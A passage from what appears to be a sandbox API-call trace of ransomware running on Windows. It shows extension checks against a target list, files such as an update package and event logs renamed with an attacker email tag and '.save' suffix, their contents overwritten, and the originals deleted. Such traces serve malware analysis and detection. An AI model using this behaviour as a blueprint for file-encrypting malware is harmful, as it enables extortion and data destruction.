(lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0055.705] lstrlenW (lpString=".dbf") returned 4 [0055.705] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0055.705] lstrlenW (lpString=".1cd") returned 4 [0055.705] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0055.705] lstrlenW (lpString=".jpg") returned 4 [0055.705] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0055.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0055.705] lstrlenW (lpString=".doc") returned 4 [0055.706] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.706] lstrlenW (lpString=".docx") returned 5 [0055.706] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0055.706] lstrlenW (lpString=".pdf") returned 4 [0055.706] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.706] lstrlenW (lpString=".xls") returned 4 [0055.706] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.706] lstrlenW (lpString=".xlsx") returned 5 [0055.706] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0055.706] lstrlenW (lpString=".ppt") returned 4 [0055.706] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0055.706] lstrlenW (lpString=".zip") returned 4 [0055.706] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.706] lstrlenW (lpString=".rar") returned 4 [0055.706] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.706] lstrlenW (lpString=".bz2") returned 4 [0055.706] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.706] lstrlenW (lpString=".7z") returned 3 [0055.706] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0055.706] lstrlenW (lpString=".dbf") returned 4 [0055.706] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0055.706] lstrlenW (lpString=".1cd") returned 4 [0055.706] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0055.706] lstrlenW (lpString=".jpg") returned 4 [0055.706] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.707] lstrcmpiW (lpString1=".msu", lpString2=".save") returned -1 [0055.707] lstrlenW (lpString="Windows6.0-KB956250-v6001-x64.msu") returned 33 [0055.707] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0055.708] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=5198099) returned 1 [0055.708] CloseHandle (hObject=0x2fc) returned 1 [0055.708] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80 [0055.708] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0055.708] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[seavays@aol.com].save")) returned 1 [0055.709] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0055.709] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc64 | out: lpNewFilePointer=0x0) returned 1 [0055.709] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc24 | out: lpNewFilePointer=0x0) returned 1 [0055.709] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d02058*, lpNumberOfBytesRead=0x314fc30*=0x40000, lpOverlapped=0x0) returned 1 [0056.008] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x314fc24 | out: lpNewFilePointer=0x0) returned 1 [0056.008] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d42058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d42058*, lpNumberOfBytesRead=0x314fc30*=0x40000, lpOverlapped=0x0) returned 1 [0056.011] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0056.011] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x314fc24 | out: lpNewFilePointer=0x0) returned 1 [0056.011] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d82058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d82058*, lpNumberOfBytesRead=0x314fc30*=0x40000, lpOverlapped=0x0) returned 1 [0056.026] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.026] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x314fca8, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0056.049] SetEndOfFile (hFile=0x2fc) returned 1 [0056.049] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40000) returned 0x42f3f90 [0056.682] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc74 | out: lpNewFilePointer=0x0) returned 1 [0056.683] WriteFile (in: hFile=0x2fc, lpBuffer=0x42f3f90*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc80, lpOverlapped=0x0 | out: lpBuffer=0x42f3f90*, lpNumberOfBytesWritten=0x314fc80*=0x40000, lpOverlapped=0x0) returned 1 [0056.684] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x314fc74 | out: lpNewFilePointer=0x0) returned 1 [0056.684] WriteFile (in: hFile=0x2fc, lpBuffer=0x42f3f90*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc80, lpOverlapped=0x0 | out: lpBuffer=0x42f3f90*, lpNumberOfBytesWritten=0x314fc80*=0x40000, lpOverlapped=0x0) returned 1 [0056.687] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x314fc74 | out: lpNewFilePointer=0x0) returned 1 [0056.687] WriteFile (in: hFile=0x2fc, lpBuffer=0x42f3f90*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc80, lpOverlapped=0x0 | out: lpBuffer=0x42f3f90*, lpNumberOfBytesWritten=0x314fc80*=0x40000, lpOverlapped=0x0) returned 1 [0056.689] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f3f90 | out: hHeap=0x6a0000) returned 1 [0056.691] CloseHandle (hObject=0x2fc) returned 1 [0059.110] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0059.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0059.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0059.111] lstrlenW (lpString=".doc") returned 4 [0059.111] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0059.111] lstrlenW (lpString=".docx") returned 5 [0059.111] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0059.111] lstrlenW (lpString=".pdf") returned 4 [0059.111] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0059.111] lstrlenW (lpString=".xls") returned 4 [0059.111] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0059.111] lstrlenW (lpString=".xlsx") returned 5 [0059.111] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0059.111] lstrlenW (lpString=".ppt") returned 4 [0059.111] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0059.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0059.111] lstrlenW (lpString=".zip") returned 4 [0059.111] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0059.111] lstrlenW (lpString=".rar") returned 4 [0059.112] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0059.112] lstrlenW (lpString=".bz2") returned 4 [0059.112] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0059.112] lstrlenW (lpString=".7z") returned 3 [0059.112] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0059.112] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0059.112] lstrlenW (lpString=".dbf") returned 4 [0059.112] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0059.112] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0059.112] lstrlenW (lpString=".1cd") returned 4 [0059.112] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0059.112] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0059.112] lstrlenW (lpString=".jpg") returned 4 [0059.112] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0059.112] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0059.112] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0059.112] lstrlenW (lpString=".doc") returned 4 [0059.112] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0059.112] lstrlenW (lpString=".docx") returned 5 [0059.112] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0059.112] lstrlenW (lpString=".pdf") returned 4 [0059.112] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0059.112] lstrlenW (lpString=".xls") returned 4 [0059.112] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0059.112] lstrlenW (lpString=".xlsx") returned 5 [0059.112] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0059.112] lstrlenW (lpString=".ppt") returned 4 [0059.112] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0059.112] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0059.112] lstrlenW (lpString=".zip") returned 4 [0059.112] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0059.113] lstrlenW (lpString=".rar") returned 4 [0059.113] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0059.113] lstrlenW (lpString=".bz2") returned 4 [0059.113] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0059.113] lstrlenW (lpString=".7z") returned 3 [0059.113] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0059.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0059.113] lstrlenW (lpString=".dbf") returned 4 [0059.113] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0059.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0059.113] lstrlenW (lpString=".1cd") returned 4 [0059.113] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0059.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0059.113] lstrlenW (lpString=".jpg") returned 4 [0059.113] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0059.113] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0059.113] lstrlenW (lpString="HardwareEvents.evtx") returned 19 [0059.113] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.114] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0059.114] CloseHandle (hObject=0x2fc) returned 1 [0059.114] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 0x20 [0059.114] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0059.114] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.114] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.114] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.114] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0059.115] GetLastError () returned 0x0 [0059.115] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0059.118] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0059.120] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0059.120] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xfa, lpOverlapped=0x0) returned 1 [0059.120] SetEndOfFile (hFile=0x2f4) returned 1 [0059.120] CloseHandle (hObject=0x2f4) returned 1 [0059.124] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.124] SetEndOfFile (hFile=0x2fc) returned 1 [0059.125] CloseHandle (hObject=0x2fc) returned 1 [0059.125] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0059.125] DeleteFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 1 [0059.126] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0059.126] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0059.126] lstrlenW (lpString=".doc") returned 4 [0059.126] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0059.126] lstrlenW (lpString=".docx") returned 5 [0059.126] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0059.126] lstrlenW (lpString=".pdf") returned 4 [0059.126] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0059.126] lstrlenW (lpString=".xls") returned 4 [0059.126] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0059.126] lstrlenW (lpString=".xlsx") returned 5 [0059.126] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0059.126] lstrlenW (lpString=".ppt") returned 4 [0059.126] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0059.126] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0059.126] lstrlenW (lpString=".zip") returned 4 [0059.126] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0059.126] lstrlenW (lpString=".rar") returned 4 [0059.126] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0059.126] lstrlenW (lpString=".bz2") returned 4 [0059.126] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0059.126] lstrlenW (lpString=".7z") returned 3 [0059.126] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0059.126] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0059.126] lstrlenW (lpString=".dbf") returned 4 [0059.126] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0059.126] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0059.126] lstrlenW (lpString=".1cd") returned 4 [0059.126] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0059.126] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0059.126] lstrlenW (lpString=".jpg") returned 4 [0059.127] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0059.127] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0059.127] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0059.127] lstrlenW (lpString=".doc") returned 4 [0059.127] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0059.127] lstrlenW (lpString=".docx") returned 5 [0059.127] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0059.127] lstrlenW (lpString=".pdf") returned 4 [0059.127] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0059.127] lstrlenW (lpString=".xls") returned 4 [0059.127] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0059.127] lstrlenW (lpString=".xlsx") returned 5 [0059.127] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0059.127] lstrlenW (lpString=".ppt") returned 4 [0059.127] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0059.127] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0059.127] lstrlenW (lpString=".zip") returned 4 [0059.127] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0059.127] lstrlenW (lpString=".rar") returned 4 [0059.127] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0059.127] lstrlenW (lpString=".bz2") returned 4 [0059.127] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0059.127] lstrlenW (lpString=".7z") returned 3 [0059.127] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0059.127] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0059.127] lstrlenW (lpString=".dbf") returned 4 [0059.127] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0059.127] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0059.127] lstrlenW (lpString=".1cd") returned 4 [0059.127] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0059.128] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0059.128] lstrlenW (lpString=".jpg") returned 4 [0059.128] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0059.128] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0059.128] lstrlenW (lpString="Internet Explorer.evtx") returned 22 [0059.128] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.128] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0059.128] CloseHandle (hObject=0x2fc) returned 1 [0059.128] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20 [0059.128] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0059.128] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.128] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.128] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.129] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0059.129] GetLastError () returned 0x0 [0059.129] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0059.131] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0059.133] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0059.133] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x100, lpOverlapped=0x0) returned 1 [0059.133] SetEndOfFile (hFile=0x2f4) returned 1 [0059.134] CloseHandle (hObject=0x2f4) returned 1 [0059.136] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.136] SetEndOfFile (hFile=0x2fc) returned 1 [0059.137] CloseHandle (hObject=0x2fc) returned 1 [0059.137] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0059.137] DeleteFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 1 [0059.137] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0059.137] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0059.137] lstrlenW (lpString=".doc") returned 4 [0059.137] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0059.138] lstrlenW (lpString=".docx") returned 5 [0059.138] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0059.138] lstrlenW (lpString=".pdf") returned 4 [0059.138] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0059.138] lstrlenW (lpString=".xls") returned 4 [0059.138] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0059.138] lstrlenW (lpString=".xlsx") returned 5 [0059.138] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0059.138] lstrlenW (lpString=".ppt") returned 4 [0059.138] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0059.138] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0059.138] lstrlenW (lpString=".zip") returned 4 [0059.138] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0059.138] lstrlenW (lpString=".rar") returned 4 [0059.138] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0059.138] lstrlenW (lpString=".bz2") returned 4 [0059.138] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0059.138] lstrlenW (lpString=".7z") returned 3 [0059.138] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0059.138] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0059.138] lstrlenW (lpString=".dbf") returned 4 [0059.138] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0059.138] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0059.138] lstrlenW (lpString=".1cd") returned 4 [0059.138] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0059.138] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0059.138] lstrlenW (lpString=".jpg") returned 4 [0059.138] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0059.138] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0059.138] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0059.138] lstrlenW (lpString=".doc") returned 4 [0059.138] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0059.138] lstrlenW (lpString=".docx") returned 5 [0059.138] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0059.139] lstrlenW (lpString=".pdf") returned 4 [0059.139] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0059.139] lstrlenW (lpString=".xls") returned 4 [0059.139] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0059.139] lstrlenW (lpString=".xlsx") returned 5 [0059.139] lstrcmpiW (lpString1=".xlsx", 